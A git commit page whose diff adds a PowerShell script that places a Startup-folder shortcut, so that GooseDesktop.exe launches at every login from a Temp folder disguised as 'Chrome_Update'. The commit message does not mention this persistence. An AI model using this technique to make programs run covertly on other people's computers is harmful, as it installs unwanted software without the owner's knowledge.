Fix bug with URLs and add option to bypass the ZIP folder creation
This commit is contained in:
@@ -0,0 +1,6 @@
|
|||||||
|
$WScriptShell = New-Object -ComObject WScript.Shell
|
||||||
|
$TargetFile = "$env:Temp\Chrome_Update\Update\GooseDesktop.exe"
|
||||||
|
$ShortcutFile = "C:\Users\$env:UserName\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HONK.lnk"
|
||||||
|
$Shortcut = $WScriptShell.CreateShortcut($ShortcutFile)
|
||||||
|
$Shortcut.TargetPath = $TargetFile
|
||||||
|
$Shortcut.Save()
|
||||||
Reference in New Issue
Block a user